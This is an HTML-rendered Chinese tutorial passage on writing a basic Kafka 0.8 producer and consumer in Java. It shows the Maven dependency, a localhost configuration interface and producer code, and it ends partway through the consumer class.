&lt;p&gt;1 新建一个maven工程,引入依赖&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &amp;lt;dependency&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &amp;lt;groupId&amp;gt;org.apache.kafka&amp;lt;/groupId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &amp;lt;artifactId&amp;gt;kafka_2.11&amp;lt;/artifactId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &amp;lt;version&amp;gt;0.8.2.1&amp;lt;/version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &amp;lt;/dependency&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;2 编写配置文件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public interface KafkaProperties {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String ZK              = &amp;#34;127.0.0.1:2181&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String GROUP_ID        = &amp;#34;test_group1&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String TOPIC           = &amp;#34;test&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String BROKER_LIST     = &amp;#34;127.0.0.1:9092&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String    SESSION_TIMEOUT = &amp;#34;20000&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String    SYNC_TIMEOUT    = &amp;#34;20000&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        public final static String    INTERVAL        = &amp;#34;1000&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;3 编写生产者&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProducer&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;extends&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;Thread&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Producer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;producer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;                    &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Properties&lt;/span&gt;                &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Properties&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;final&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;int&lt;/span&gt;                 &lt;span class=&#34;n&#34;&gt;SLEEP&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1000&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProducer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;serializer.class&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;kafka.serializer.StringEncoder&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;o&#34;&gt;//&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;生产者直接和&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;broker列表连接&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;metadata.broker.list&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;BROKER_LIST&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;producer&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Producer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProducerConfig&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;err&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Override&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;run&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;ne&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offsetNo&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;msg&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Message_&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offsetNo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Send-&amp;gt;[&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;msg&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;producer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;send&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KeyedMessage&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;msg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;offsetNo&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;try&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;sleep&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SLEEP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;catch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;printStackTrace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;4 编写消费者&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaConsumer&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;extends&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;Thread&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ConsumerConnector&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;consumer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;            &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;final&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;int&lt;/span&gt;         &lt;span class=&#34;n&#34;&gt;SLEEP&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1000&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaConsumer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;consumer&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Consumer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;createJavaConsumerConnector&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;consumerConfig&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ConsumerConfig&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;consumerConfig&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Properties&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Properties&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;o&#34;&gt;//&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;消费者使用&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;zk的地址获取连接&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;zookeeper.connect&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ZK&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;group.id&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GROUP_ID&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;zookeeper.session.timeout.ms&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SESSION_TIMEOUT&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;zookeeper.sync.time.ms&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SYNC_TIMEOUT&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;auto.commit.interval.ms&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;INTERVAL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ConsumerConfig&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;err&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Override&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;run&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
